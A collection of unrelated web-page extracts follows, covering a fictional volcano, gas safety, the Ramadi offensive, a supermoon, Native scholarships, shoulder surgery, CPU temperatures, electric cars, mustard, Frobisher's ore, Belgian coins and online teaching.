DaikazanyamaDaikazanyama, the great volcano, is the biggest volcano and mountain anywhere in Triudomhan. It is located mostly in the Minamichiku region with its northern slopes partially in the Higashichiku region, and the eastern and southern slopes outside of the Yokaisekai "wall". It was once connected to the Crater Volcano in North Vulpes in old Locura, but now stands alone. A good portion of its interior holds the mazes of the Higashimon, the Eastern Gate (which opens in Higashichiku), with the entrances of the maze on opposite sides of the mountain.
This is the southern region of Yokaisekai, ruled over by the daimyo Suzaku, the vermillion bird. It has a hot, jungle climate, and features two volcanoes - the larger Daikazanyama and the smaller Suzakuyama which is Lord Suzaku's home - and most of the length of the Hebinaga river. The labyrinthine tunnels that lead outside Yokaiseki from the Higashimon (eastern gate) to the Great Blue are within Daikazanyama.
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Silent and Deadly
Do you have vulnerable relatives and friends you care for? A boiler or gas appliance can easily be forgotten about or ignored until it’s too late.
It sits there giving you heating and hot water but do you really know it’s working as safely as it should be? If an appliance is not cared for it can become dangerous and produce high levels of carbon monoxide if not inspected at regular intervals. At Bradley Plumbing & Heating, our customers’ safety is the reason we care so much for the industry we are in-to keep people safe is our number one priority.
Please make sure you get a professional inspection of your gas appliances and those of the vulnerable people in our society before the unthinkable happens-carbon monoxide is odourless you never know when a gas appliance is producing it at high levels and worse still leaking it into the property where the appliance is situated. A service / assessment and relative works are a must to keep them running safely and the installation of a quality industry standard carbon monoxide alarm isn’t a choice it’s a must as far as Bradley plumbing and heating are concerned. | <urn:uuid:c676a099-82f7-4097-bedf-285c913f5da5> | CC-MAIN-2022-33 | https://bradleyplumbing.co.uk/blog/silent-and-deadly/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571909.51/warc/CC-MAIN-20220813051311-20220813081311-00265.warc.gz | en | 0.951567 | 236 | 1.921875 | 2 |
The Pentagon May Send U.S. Troops to Take Back One of ISIS’s Biggest Strongholds
Defense Secretary Ash Carter wants to help the Iraqi army “finish the job.”
Before it was an ISIS stronghold, the city of Ramadi was one of the fiercest battlegrounds of the U.S.-led war in Iraq. Now, Defense Secretary Ash Carter is considering sending American helicopters and troops back there to help Iraqi military forces retake the city from the Islamic State.
“The United States is prepared to assist the Iraqi army with additional unique capabilities to help them finish the job, including attack helicopters and accompanying advisers if circumstances dictate and if requested by Prime Minister [Hader al-] Abadi,” Carter told lawmakers on Capitol Hill on Wednesday.
Ramadi has been engulfed in heavy fighting since the Iraqi military launched a major push into the city earlier this week. Iraq’s Joint Military Command reported on Tuesday that dozens of ISIS fighters were killed and 60% of the city had been retaken with the aid of U.S. airstrikes. But there’s still much work to be done, as insurgents in Ramadi are estimated to number between 600 and 1,000.
Ramadi is located roughly 70 miles west of Baghdad in Anbar province, where U.S. Marines were heavily concentrated during the initial occupation of the country. Following the Second Battle of Fallujah in 2004, Ramadi became a chief al-Qaeda stronghold, and one of the most fiercely contested battlegrounds of the war. It was there, in 2006, that “American Sniper: Chris Kyle, aka the “Devil of Ramadi”, solidified his reputation as the deadliest sniper in American history.
Many American and Iraqi lives were lost in the protracted battle to wrest the city from al-Qaeda control. But in May of this year, Ramadi fell again, this time to ISIS militants who captured the city with relative ease after Iraqi forces stationed there withdrew en masse. The retaking of Ramadi is now considered crucial to the U.S.-led campaign to “degrade and destroy” the Islamic State.
There are currently hundreds of troops stationed in Anbar, but so far they’ve been mostly confined to an air base. It’s unclear how their role will change based on Carter’s announcement. It is clear, though, that the Pentagon and the White House are now leaning toward a more direct approach as they continue to ramp up ground operations to defeat the Islamic State. | <urn:uuid:67ada336-8f5c-4a18-a96c-a44c2204b795> | CC-MAIN-2022-33 | https://www.maxim.com/maxim-man/us-troops-ramadi-isis-2015-12/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572033.91/warc/CC-MAIN-20220814113403-20220814143403-00265.warc.gz | en | 0.969415 | 527 | 1.695313 | 2 |
By Megan Levy
The supermoon strikes again.
Stargazers will get yet another opportunity to watch a spectacular full moon rise over the horizon on Tuesday night, when the last of three consecutive supermoons of 2016 is due to make a stunning appearance.
While last month's highly anticipated supermoon left some disappointed when clouds largely obscured the event, Tuesday night's conditions are forecast to be mostly clear and hot in Sydney, where the temperature is still expected to be hovering around 30 degrees when the sun sets.
Melburnians, however, will have to contend with some cloud cover at sunset, according to Weatherzone.
A so-called supermoon - technically called a perigee moon - occurs when the moon is not only full, but is orbiting close to Earth.
The December full moon will be the third consecutive supermoon of the year, and will also coincide with the Geminid Meteor Shower, the annual event that sends a flurry of shooting stars across the sky. It occurs as the Earth ploughs through one of the densest debris fields in our orbit around the sun.
The brightness of the moon, however, is expected to largely "wipe out the view" of the meteor shower, NASA says.
"Bright moonlight will reduce the visibility of faint meteors five to ten fold, transforming the usually fantastic Geminids into an astronomical footnote," NASA said in a statement.
"Sky watchers will be lucky to see a dozen Geminids per hour when the shower peaks. Oh well, at least the moon will be remarkable."
Perry Vlahos, the vice-president of the Astronomical Society of Victoria, said the moon would be closest to Earth at 9am on Tuesday AEDT, when it would be 358,463 kilometres away.
Last month's full moon was the closest to Earth since January 26, 1948, but Mr Vlahos said anyone watching Tuesday night's moon rise with the naked eye would probably not notice any difference between the two events. The difference in distance of the moon's proximity to earth would only be several hundred kilometres, which was "almost imperceptible" to the human eye, he said.
The moonrise would be just as spectacular again on Wednesday night, he said.
That was the case last month, when a massive moon stunned stargazers the night after clouds had obscured the supermoon when it was closer to Earth.
"To my mind, a moonrise always looks fantastic during a full moon," Mr Vlahos said.
Mr Vlahos said the meteor shower would probably peak early on Wednesday morning, and could even extend into Thursday morning.
"This year, because of the moon, it's [the meteor shower is] not going to be as spectacular as other years. It's a little bit like natural light pollution," he said.
"I wouldn't bother going out into the country or anything like that to get away from the city lights. With the full moon, it's going to be the same everywhere, whether you observe from the suburbs or in the country."
He estimated no more than 10-15 shooting stars would be visible per hour at the Geminids' peak this year.
In Sydney on Tuesday, the sun is due to set at 8.01pm, when it is still expected to be 30 degrees and conditions mostly clear, according to Weatherzone.
In Melbourne, the sun is due to set at 8.37pm on Tuesday, when it will be an expected 28 degrees, although conditions there are expected to be cloudy.
Mr Vlahos advised those wishing to get the best view of the moonrise to head at dusk to an east-facing beach, or to the top of a hill or mountain with uninterrupted views to the east.
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Travois Tribal Scholarship Program Helps Ten Native American Students Achieve Their Dreams
Denver, Colo., April 28, 2022— Thanks to Travois’ generous gift of $27,500 to the American Indian College Fund, 10 American Indian college students received scholarships to attend mainstream and tribal colleges and universities for the academic year 2021-22.
Travois is a Certified B Corporation focused exclusively on promoting housing and economic development for American Indian, Alaska Native and Native Hawaiian communities. The Travois Tribal Scholarship Program provided financial support for eight students pursuing careers in affordable housing and economic development and two students pursuing an arts degree.
Currently only 15 percent of American Indians have a bachelor’s degree, which is less than half the national average. That compounded with the fact that a high percentage of American Indians are currently under the age of 24 makes providing access to a higher education to Native students crucial for the sustainability of Native communities as well as students and their families.
Jon-Anthony Henry (Confederated Salish and Kootenai Tribes of the Flathead Reservation), a business administration student at Salish Kootenai College (SKC), is a four-year tribal college in Pablo, Montana who wants to use his degree to give back to his community. He plans to work for his tribe to helping tribal business owners the skills and assistance they need to succeed.
“Giving back to my community has always been a passion for me because I see how many Native Americans are struggling on my reservation,” Henry said. “I also want to be an inspiration to the youth and show them that anything is possible if they put their mind to it. I want to encourage the youth to continue education because college is very important in today’s world. I strive to be a positive role model for youth and to help make a positive change in my community.”
Henry knows firsthand why role models are important. He lost his beloved uncle who was his own role model when he was a high school student. Encouraged by his mother, he began focusing on academics and said he felt happiness again. His mother shared how college helped her through her own life and he said, “I decided to follow in her footsteps and continue my education. It has been the best decision I’ve ever made.”
Tiffani Zamudio (Lummi Tribe of the Lummi Reservation) attempted to return to school several times, but motherhood and illness in the family thwarted her attempts. After assuming the role as a housing case manager for her tribe’s housing authority for nearly six years, she developed a passion for helping people in her tribe. She enrolled at Northwest Indian College, a tribal college in Bellingham, Washington, where she plans to use what she learned in her career as she works toward a new one after completing a bachelor’s and master’s degree in social work.
“I want to work with our tribal and extended communities to battle homelessness and provide support services to an underserved population. This scholarship will allow me to further my education and continue to grow in my position. All that I am learning, I have been able to apply to my everyday life as it pertains to my personal and professional life.”
“We’re thrilled to support American Indian college students working toward a brighter future for themselves and their families,” said Elizabeth Glynn, CEO of Travois. “In our work helping tribal governments finance affordable housing and create jobs in American Indian communities across the country, we see firsthand the incredible creativity and leadership of this next generation. We’re excited to see what the future holds for this talented group of students.”
Cheryl Crazy Bull, President and CEO of the American Indian College Fund, said, “Our students’ passion to give back to their communities with thoughtfulness and intention is evident in their stories. On behalf of the College Fund, I want to share our appreciation for Travois, a partner that role models what it means to empower our students to make a difference through their own vision and hard work.”
About the American Indian College Fund—The American Indian College Fund has been the nation’s largest charity supporting Native higher education for 32 years. The College Fund believes “Education is the answer” and provided $15.5 million in scholarships and other direct student support to American Indian students in 2020-21. Since its founding in 1989 the College Fund has provided more than $259 million in scholarships, programmatic and community support. The College Fund also supports a variety of academic and support programs at the nation’s 35 accredited tribal colleges and universities, which are located on or near Indian reservations, ensuring students have the tools to graduate and succeed in their careers. The College Fund consistently receives top ratings from independent charity evaluators and is one of the nation’s top 100 charities named to the Better Business Bureau’s Wise Giving Alliance. For more information about the American Indian College Fund, please visit www.collegefund.org.
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A Mandala for World Peace
We are at a critical time in human history. As ancient prophecies predicted, our modern era is burdened with challenges and Earth’s inhabitants face many dangerous problems: increased warfare, environmental disasters, economic breakdown, epidemic diseases, famine, and political turmoil are prominent among them.
Wherever you look, there is conflict, violence, turmoil, and suffering. How can we make a difference? How can we do something that will pacify this negativity and help to restore peace?
In the Buddhist tradition, it is believed that there are special types of monuments that possess powerful energetic abilities to remove negativity and protect from disaster. One example is a full-scale, three-dimensional mandala. These types of monuments have the ability to bestow great blessings throughout the earth—permeating the five elements with their power.
Padmasambhava predicted that Vajrakilaya (P’hurba) would be of particular importance in restoring peace and balance on the earth at this critical time. Vakrakilaya is the powerful embodiment of all the Buddha’s activities and is the remover of obstacles.
In keeping with the prophecies, and in response to the growing need to take action, we have initiated the Phurba Peace Mandala Project and the construction of a full-scale Vajrakilaya mandala, according to the Dudjom Tersar lineage.
What Is a Mandala?
The word mandala is Sanskrit for circle. Mandalas exist in Hinduism and Buddhism and can be recognized in Native American and other indigenous cultures. Both ancient and contemporary spiritual traditions employ them to symbolize a microcosm of the universe and enlightened vision.
There are many different types of mandalas, each with different energies and intentions. They can be used as a focus in meditation and prayer, for healing and teaching, and for establishing sacred space.
You may be familiar with Tibetan sand mandalas, where a specific intricate design is created in colored sand. These two-dimensional mandalas are actually blueprints for three-dimensional models of a perfected universe and tradition dictates the deities, objects, and colors within.
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The shoulder is made up of three bones: the scapula (shoulder blade), the clavicle (collar bone), and the humerus (upper arm bone). These three bones support the shoulder and help it function in a variety of ways.
- The clavicle plays an important role in support and stability, as it is the only connection between the shoulder and the rest of the body’s skeleton.
- The scapula is the main support structure for many muscles. It also contains the glenoid socket of the shoulder.
- The upper arm bone, or the humerus, serves as an attachment point for many muscles and tendons. It has a head with a ball-like shape that stays in the glenoid socket of the shoulder.
A fracture in any of these parts can cause pain and create difficulty with the function of the shoulder. To find out more about shoulder fractures or to set up an appointment with expert orthopaedic surgeon Sonu Ahluwalia, M.D. contact us today.
Shoulder Fracture Signs and Symptoms
The symptoms caused by shoulder fractures are often related to the specific type of injury.
General findings following trauma or injury to the shoulder:
- Swelling and bruising
- Inability to move the shoulder
- Locking, stuttering, or grinding of the shoulder
- Shoulder looks deformed or displaced
Signs and Symptoms seen in a Clavicle Fracture:
- Swelling near the middle of the collarbone area
- A “bump,” which is actually the ends of the fracture prominent under the skin
- Limited range of motion in the shoulder
Signs and Symptoms seen in a Proximal Humerus Fracture:
- A severely swollen shoulder
- Extremely limited, or no, range of motion in the shoulder
- Severe pain in the shoulder
Signs and Symptoms seen in a Scapula Fracture:
- Pain and swelling in the area
- Severe bruising around the shoulder blade
- Often associated with chest trauma
Shoulder Fracture Diagnosis
In order to reach the diagnosis of a shoulder fracture, your doctor will begin by examining your medical history with a focus on the incident that led to the symptoms you’re experiencing. This will be followed by a thorough physical examination and imaging studies.
Shoulder Fracture Surgery
Shoulder fracture surgery is performed by Dr. Ahluwalia using the open surgery technique. Open surgery can often be done through small incisions of just a few inches. These incisions allow the doctor to access the underlying shoulder structures. Dr. Ahluwalia will then assess the condition of the shoulder and re-assemble the fractured shoulder bone. Once this is done, he will fix the shoulder with a plate and screws to hold the bone in place.
Recovery from Shoulder Fracture Surgery
Following your shoulder fracture surgery you will be monitored in a recovery room until the effects of your anesthesia wear off. Depending on the extent of the procedure, you may stay in the hospital for 2-3 days before you can be discharged. Dr. Ahluwalia will examine you before you are discharged and discuss your recovery plan. This plan will likely include medication, rest, and physical therapy.
Physical therapy is arguably the most important part of a patient’s recovery. It is based on the goal of maintaining range of movement and gradually building strength as the shoulder returns to normal function. A standard physical therapy timeline following shoulder surgery is as follows:
- Arm immobilized
- Wrist/hand/finger exercises
- Shoulder girdle exercises
- Scapula setting exercises
- Passive range of motion in all directions
- Gentle exercises as pain allows
- Sling will gradually no longer be needed
- Begin active assisted exercises
- Progress to full active exercises in all ranges
- Begin rotator cuff strengthening
- Closed chain exercise
Shoulder Surgery Recovery FAQ
These are some of the most common questions we get asked in regards to returning to activities after shoulder surgery. Although everyone’s recovery is different, there is a general consensus among patients as to when certain activities can be resumed.
Q: When can I start driving?
A: Most patients report being able to comfortably operate a standard motor vehicle within 6-8 weeks following shoulder surgery.
Q: Can I go swimming?
A: Although many rehab exercises can be done in the pool, standard breaststroke swimming techniques may not be able to performed until 8-12 weeks after shoulder surgery.
Q: When I can play golf again?
A: We understand that practice makes perfect, but it is important to remember that the best technique will involve a smooth, fluid, and complete range of motion in your shoulder. This can take up to 6 months following shoulder surgery, although many people regain full range of motion in under 3 months.
Q: When can I begin lifting and weight training?
A: Light lifting can begin anywhere from 8-10 weeks. Heavy lifting, either for work or weight training, should not be performed until you are medically cleared to do so. This usually occurs 4-6 months after shoulder surgery.
Q: When can I return to work?
A: Most patients report being able to return to a standard, sedentary job within a few weeks of shoulder surgery. For patients with jobs that require strenuous activity and/or heavy lifting, it is important to wait until you are medically cleared to return to work. This will be evaluated at your post-operative follow up appointments.
Contact a Shoulder Surgeon in Beverly Hills
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Encyclopedia of Critical Psychology (Hardback)Thomas Teo (editor)
- We can order this from the publisher
Encyclopedia of Critical Psychology is a comprehensive reference work and is the first reference work in English that comprehensively looks at psychological topics from critical as well as international points of view. Thus, it will appeal to all committed to a critical approach across the Encyclopedia of Critical Psychology, for alternative analyses of psychological events, processes, and practices. The Encyclopedia of Critical Psychology provides commentary from expert critical psychologists from around the globe who will compose the entries. The Encyclopedia of Critical Psychology will feature approximately 1,000 invited entries, organized in an easy to use A-Z format. The encyclopedia will be compiled under the direction of the editor who has published widely in the field of critical psychology and due to his international involvements is knowledgeable about the status of critical psychology around the world. The expert contributors will summarize current critical-psychological knowledge and discuss significant topics from a global perspective.
Publisher: Springer-Verlag New York Inc.
Number of pages: 2106
Weight: 5160 g
Dimensions: 254 x 178 x 157 mm
Edition: 2014 ed.
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We have a Butvar spray room. The room contains Toluene and Prestoline. What is the required humidity level to prevent a static discharge. We run the room around 40% humidity. I have read that the safe level is around 50%, is this number accurate?Jason Combs
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Long story short he wants to build a new PC and considers AMD, but asked me for source material for my statement.
My statement was just the general tendency i got from all the hardwareChannels’ videos i watched.
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The TIM affects Percieved Temperatures
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Current Gen AMD is Forced To Run Cooler
That said, AMD does lose stability at high clocks at a much lower temperature than intel parts. Intel can usually sustain moderate overclocks at up to 85 C before stability is completely lost, whereas some AMD parts can lose stability for the same % of frequency bump as low as 65-70 C. This means that current-gen AMD parts can’t actually afford to run hotter, because they a) scale back frequency more aggressively to compensate, and b) can’t maintain boost or OCs stable at even “moderate” intel OC temperatures.
Right now the chief factor in purchasing a new platform is more about your connectivity and needs for certain features.
Select a Product That Fits Your Needs
For example, let’s say your friend needs a workstation:
Buying a used HEDT intel chip or a xeon and putting it in an X99 board (older premium chipset that isn’t that hard to find at a discount or used nowadays) may be more attractive than ryzen + or coffee lake because you get much more connectivity for similar money (more pcie lanes, generally more generous features on the motherboard)
Or maybe RAM prices are sky high and you want a current-gen platform that won’t be picky or lose much performance if you stick value DIMMS in it. In which case, Zx70 and a coffee or kaby lake (at a discount by now) part is probably the way to go, especially if he needs his machine for gaming to the exclusion of other uses.
There’s No Such Thing as ‘Heat Efficiency’
For layman purposes, essentially all of the energy put into silicon ends up as heat. The concept you’re likely looking for is thermal resistance, a function of the combined conductive ability of the TIM, IHS, Paste, and HSF to move thermal energy away from the silicon. This value doesn’t scale 1;1 with the size of any single component, and the weakest link will always cap your wattage on cooling capacity, especially if it is early in the stack.
At that point your previous sentence about stock settings doesn’t apply anymore though
Eeehhhh, probably tooth paste or shoe polish
That might have been a good plan, however most fan controls factor this in as far as I’m aware, might be wrong though.
That being said I agree with you on your points. The regular user might even say Intel runs hotter at the moment, but that is mostly because they can afford to as stated above.
To get anything semi accurate you’d need to measure how much heat is actually being dissipated, and even then it’s questionable how useful that data is, because at the end of the day, what does it matter as long as it’s not thermal throttling?
There are plenty of CPUs that draw way more/less at stock than their TDP, too. That’s just the most extreme example of being outside the “thermal design”
They didn’t originally, which is why the offset was put in place, because AMD is very used to working around intel thermal stability points. Back in the day this was a problem with Phenom II, which had a much lower temp throttle/stability point than Equivalent intel parts. Now that most common softwares account for it, it’s less of a problem, but most raw bioses and simple reporting sensor readouts will still put out +20 C
I was more pointing out that the 2 companies don’t necessarily report accurate temps (particularly AMD)
Measuring how much power is being consumed across the vrm traces or the mobo 12v lines using an amp clamp would yield much more accurate power figures, as silicon is very efficient at turning power into heat.
Thank you for that in depth answer!
I think i get your point tkoham.
But what bugs me a bit is that the articles cited are older. The Puget-System article is from 4 years ago and with the old AMD chips.
I never experienced the “AMD is running hot” thing. I guess what that meant was, that under load it needed a really good cooler to make it not thermal throttle. Is that correct?
So given my assumption is correct, i guess my question is, does AMD still need a beefy cooler to not throttle when under heavy load.
at stock, the included heatsink as actually much closer to adequate than what intel gives you out of the box, and if you aren’t overclocking, there’s no need to get a different cooling solution
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Previously, electric cars were only seen as science projects and were given very little attention by the general public but all of that has already changed. Nowadays, they have taken the spotlight and the automobile market by storm. In Canada, the demand for plug-in electric vehicles (PEV) have significantly increased in the past few years and is projected to stay on that trend for the next couple of years. One might say that electric cars are the future given that they pack a lot of benefits particularly in helping our environment healthy.
Despite PEV’s rising popularity, most consumers haven’t really grasped the concept of electric vehicles and the technology behind it. With that, we will lay out the facts about electric cars and how they impact in the automobile market.
Reduced Reliance on Crude Oil
As you might have already figured out, PEVs are mainly powered by electricity however there are varieties that use both oil and electricity which are known as hybrid cars. Regardless of type, all PEVs certainly reduces reliance on oil since they mainly rely on electricity as its fuel. This aspect of PEVs are their main strength since oil is a non-renewable natural resource which means once all the oil resources across the globe have been used up, it would take millions of years to reproduce it.
For this reason, federal governments from all over the globe have taken measures to promote use of PEVs in order to conserve petroleum oil. U.S., Canada, Asia, Europe and even Saudi has recognized this fact (given that their main source of income is oil).
Cheaper to Own
Despite the fact that PEVs have a much higher purchase price, you can still save a huge chunk of money in the long run. Their electric engine has a very high efficiency ratio of up to 90 percent. Although electric prices may vary depending on where you live, electric cars are so efficient with how they utilize their energy that you don’t need to refill them up as much thus saving you more money overall.
Experts have estimated that with PEVs’ efficient technology, its fuel costs is equal to purchasing gasoline for only 80 cents per gallon. That is a huge cut back on fuel costs if you drive an electric vehicle. For hybrids that rely both on gasoline and electric, their fuel efficiency is still higher compared to traditional cars. This is because when city driving, they can utilize electricity to operate but if you need an extra boost on acceleration they switch to oil consumption. With this innovative technology, you are still saving on gasoline costs.
Keeping The Environment Clean
Traditional cars burn oil internally in order to operate which produces a very high carbon emission ratio that is bad for the environment. On the other hand, electric cars have minimal carbon emission because they have no gas to release as byproduct of engine combustion (as in internal combustion cars). With that, it significantly reduces the carbon gas levels in the atmosphere which is the main cause of our ozone layer thinning out. According to the Department of Energy, a traditional vehicle emits 75 pounds of carbon dioxide in a 100-mile journey while an electric car only emits 32 pounds.
Contrary to popular belief, new breeds of electric cars have exceptional performance. In fact, the fastest electric car recently created can accelerate to 60 mph in only 2.5 seconds and can reach up to a speed of 208 mph! Moreover, they produce almost no noise when you drive them compared to internal combustion engine. Also, PEVs are smoother to drive and cheaper to maintain. In fact, experts say that electric cars depreciate slower than conventional cars giving you a higher resale value in you want to sell it. With the advancements in technology, electric cars are slowly becoming better than conventional cars in almost all aspects. Some experts predict that electric cars will dominate the automobile world in the near future.
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It was a pleasure having Linda Gray Sexton writing a guest post for us under the topic “How Much of a Memoir Should Be True?”
Today, you are getting an opportunity to read the guest post from D.G. Kaye on “How Much of a Memoir Should Be True?”. We hope you enjoy reading her guest post and we welcome you to share your opinions below.
Writing in memoir is recognized as a factual accounting of a story, people and places. Memoirs are personal recollections of memories based on a theme, constructed into a story, as experienced by the author. The author is required to tell the story to the best of his/her recollection; as he/she remembers the incidents. This doesn’t negate the fact that there are memoirs written as fiction, but a true nonfiction memoir as stated, should always be factual.
If any of the elements in a nonfiction memoir are altered or expanded, for the purpose of adding drama to spice up the story, then it is no longer truth and should be classified as fiction, or at least noted in the Afterword of a book.
There is also the matter of a grey area, an issue about some authors changing names or professions of characters to maintain anonymity for those people in their books for their characters whom don’t wish to be exploited publicly. Some will say that if names are changed the story is not true. I don’t agree with that belief. I feel that if we keep a story true and concise to actual events, changing the names of characters to protect their identity does not take away from the truth of the story.
Another common question asked about memoirs is, what constitutes truth? One person’s recollection of memory is often perceived differently than a close family member’s own recollection. The impact that situations have on each individual person are often interpreted differently according to each character’s personal experience concerning the story. This doesn’t negate the truth. The author recants a story as they remember it, and tells about how it has affected him or her personally. It is still a memoir from the author’s point of view of his/her own personal perspective.
OXFORD DICTIONARY DEFINITION: A historical account or biography written from personal knowledge or special sources.
MERRIAM WEBSTER DEFINITION: A written account of someone or something that is usually based on personal knowledge of the subject.
There has been controversy in the past, where writers had been accused of sensationalizing stories and calling them memoirs. The repercussions can invite public humiliation when they are condemned for fraudulent writing. The bottom line is that the whole story—events, people, locations, should be true.
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Will Regina be known as Canada’s Mustard Capital?
Regina Exhibition Association Limited (REAL) certainly thinks so, and may have strong objections.
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About 80% of Canada’s mustard seed is grown in Saskatchewan, according to REAL. The state also supplies nearly 29% of the world’s mustard seeds.
“Saskatchewan is Canada’s largest mustard producer and largest exporter,” said Kirk Westgard, REAL’s vice president of agriculture.
“Much of it is grown here around Regina.
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August 3-7 has been officially named “Spread the Mustard” week by the City of Regina in celebration of the famous condiment.
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“At any ballpark in North America, hot dogs and mustard are best friends, and all that mustard comes from here in Saskatchewan,” Westgard said. When Westgard was asked if he liked ketchup or mustard, he couldn’t help but laugh.
To really strengthen the mustard capital, a new product was created called “Queen City Mustard”, now available in Regina Ex.
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“Queen City Mustard highlights how important this crop is to the economy of Saskatchewan and is a staple at every show,” said REAL CEO Tim Reid in a press release. says. “I want Regina to be the mustard capital of Canada!”
The 375ml jar sells for $5 and can be purchased at the Queen City Ex Merchandise Booth at the QCX Marketplace in the hallway of the Viterra International Trade Center (VITC).
All proceeds from Queen City Mustard go to Regina Food Bank.
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New Queen City Mustard is Saskatchewan’s most profitable condiment.
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The residents of Dartford, England, erected one of the world’s most expensive walls of stone around 1579. They used more than 530 blocks of rock to reinforce the western perimeter of what at the time was known as King Henry VIII’s Manor House. The stone itself is not that exciting; it’s a 1.3- to 1.8-billion year-old, black and white gneiss. What makes the stone notable is how it ended up in Dartford, about 20 miles southeast of London.
In 1576, Sir Martin Frobisher had sailed with three small boats in search of a northwest passage to China. Two of the boats landed at a tiny dab of land, just south of Baffin Island. A group hiked to the island’s high point and mariner Robert Garrard picked up a rock the size of a “halfe pennye loafe…much like sea cole in colour.”
Back in England, a wife of one of the crew ended up with the black stone and threw it in the fire where it “glistered with a bright Marquesset of golde.” (We don’t know why she did this. Perhaps that’s what woman did with rock back then?) Assayers then determined that it was valuable ore. Others say that the stone ended up with Michael Lok, the principal financier of Frobisher’s expedition. Lok also took the stone to assayers. No one could find any gold until Lok gave a piece of the specimen to Venetian alchemist Giovanni Baptista Agnello in January 1577.
Within days Agnello had obtained gold. When asked by Frobisher how he could find gold when others could not, Agnello replied “Bisogna sapere adulare la natura,” or “It is necessary to know how to coax nature.”
No matter how it was determined that the “halfe pennye loafe” contained gold, it sparked so great of interest that Frobisher ended up sailing back to Canada, in 1577 and 1578. The first adventure netted more than 150 tons of black ore and the second more than a 1000 tons. Lok had the ore shipped to an empty chapel near Henry’s Manor House, where assayist Jonas Schutz had built a large processing plant. It consisted of two water mills, five melting furnaces, a coal house, and ten pairs of leather, four-meter-long bellows.
In the first stage of assaying, the ore was ground, placed in a mortar, and weighed. The assayer then heated a crucible, added lead and the ore, and melted them. More lead and glowing coal went into the crucible, which helped dissolve any gold and silver. After the mixture cooled, the alloy of lead, gold, and silver would rest on the bottom topped by the remaining slag. The alloy was then heated again with bone ash to created oxides that were poured off, leaving behind the gold and silver. A further addition of acid separated the two metals.
Unfortunately for Lok, no assayist could find any gold. By the end of 1578, everyone knew that that the three years of expeditions, the expenditure of £20,000 (~£4,000,000 in modern terms), and the loss of 24 lives had produced nothing of worth.
In addition to the stones in the Manor House wall, Dartford historians have excavated the stone from several localities. Some went into a sixteenth century cesspool, as well as a gunpowder mill site. Other blocks were found in a private garden, an orchard, and a farm. Frobisher’s three expeditions may not have produced any gold but at least they provided some very nice building stone for Dartford residents.
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A musician, artist, composer, or even scientist has many needs when it comes to the sound space, which is one of the first dimensions of contemporary musical and sonal thought. There are many ways to affect the virtual sonal environment with hardware and software. Of the various tools in the electroacoustic domain, this focuses on spatialization. Using this, an artist can create new music, a composer can change sound directly, and a musician can edit their sound in real-time. HOA Library is one of the tools that has allowed musicians and composers to synthesize, transform and render sound spaces in a creative way.
However, due to conventional means of spatialization, HOA Library is widely overlooked. Therefore, I developed “SonoSpatial Walk,” a 3D audio sequencer in Max that uses MIDI, Jitter, and HOA Library. It is dependent on nothing but open-source, cross–platform libraries. I use HOA Library for sound spatialization by getting the values of the environment from the Jitter and OpenGL matrix that creates the objects, space, and scene by values.
The program also allows for the saving of sounds and objects in the space, along with reverberation values of the room that are editable due to the HOA Library. A user can control the room reverberation, enable keyboard control, full-screen, nonmovement commands, and navigation commands in the sound space with MIDI control. Finally, I add an interface by using Java which allowed for the traversal of the sound space with a keyboard and mouse to be able to trigger objects. | <urn:uuid:45c1db61-7ffa-4e82-9ed6-f0ba8120b19f> | CC-MAIN-2022-33 | https://justinkerobo.xyz/maxmsp/sonospatialwalk/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572833.78/warc/CC-MAIN-20220817001643-20220817031643-00265.warc.gz | en | 0.951935 | 339 | 1.960938 | 2 |
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Albert II (born 6 June 1934) reigned as King of the Belgians from 1993 until his abdication in 2013. Albert II was the fourth monarch to abdicate in 2013, following Pope Benedict XVI, Queen Beatrix of the Netherlands, and Emir Hamad bin Khalifa of Qatar. In doing so, he was also the second Belgian monarch to abdicate following his father, King Leopold III, who abdicated in 1951, albeit under very different circumstances.
Die I - script of legend thicker, as the result letters next to the vertical line are closer to it
Die II - script of legend thinner, as the result letters next to the vertical line are further from it
Die A - script of legend thicker, as the result 20 of face value far from the rim. Mintmark and privy mark are higher
Die B - script of legend thinner, as the result 20 of face value closer to the rim. Mintmark and privy mark are lower
II+B: 1994 (in sets), 1995-2001
Depicts a portrait of Albert II in left profile, outline around the back of the head, name below.
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The new question-of-the-week is:
What are effective instructional strategies to use when teaching an online class?
This new series continues a 25-post “blitz” that began on Aug. 1 supporting teachers as we enter a pandemic-fueled school year.
You can see all the posts from this month, as well as the 60 from the spring, at All Classroom Q&A Posts on the Coronavirus Crisis.
In Part One, Doug Fisher, Nancy Frey, Gina Laura Gullo, and Vivian Micolta Simmons shared their suggestions.
In Part Two, Jared Covili, Jenny Edwards, Ph.D., and Toby Karten provided their responses.
Today, Marcy Webb, Michelle Shory, Irina McGrath, Amanda Lescas, Kristin Rouleau, Ed.D., and Dr. Theresa Capra “wrap up” the series.
The next question-of-the-week can be found at the bottom of this post.
“Connect personally with each student”
Marcy Webb is a secondary school Spanish teacher, workshop presenter, and occasional writer:
After 10 weeks of remote teaching during the second half of the spring semester 2020, these are the key strategies that I used, to which students responded positively, and which I plan to use again when we return to remote learning at some point during the school year:
Have a structure for taking attendance. Google Classroom has a built-in mechanism for doing this. However, by the time I discovered/learned about it, I was using a Question Of The Day (QOTD) with my Spanish 4 students and various “check-in” activities with my Spanish 1-7 and Spanish 1-6 students (first-year Spanish).
Connect personally with each student, to the extent possible. It could be as specific as following up on something the student told me, i.e., getting a new puppy or simply asking how the weekend was.
Plan for a mix of teacher-directed instruction and breakout-room activities. Even though I taught my students for 45 minutes on average remotely (classes on campus are 80 minutes), I still assigned group work and periods of student-to-student interaction. Giving students opportunities to collaborate with each other was more like being together on campus in the classroom.
Gain greater proficiency, knowledge, and awareness of online tools appropriate for one’s classes. This was a strong suit for me during the spring semester. I am not afraid to experiment with online tools. Also, many such tools I had wanted to use but had not had the opportunity to do so before the quarantine.
- Limit triage on tech matters. Too often, I overextended myself with students’ tech issues when I should have deferred/referred them to the experts. Also, students need to learn to resolve their own tech issues, even if it is merely connecting with the school tech specialist.
Tools for online teaching
Michelle Shory and Irina McGrath are Google Certified trainers and co-creators of ELL 2.0, a website that offers tools and resources for teachers of English-learners.
Irina V. McGrath, Ph.D., works for the Kentucky education department as an education recovery specialist. She is also a co-director of the Louisville Writing Project (LWP) and a University of Louisville and Indiana University Southeast adjunct who teaches ESL/ENL instruction as well as assessment, literature, and cultural- and linguistic-diversity courses.
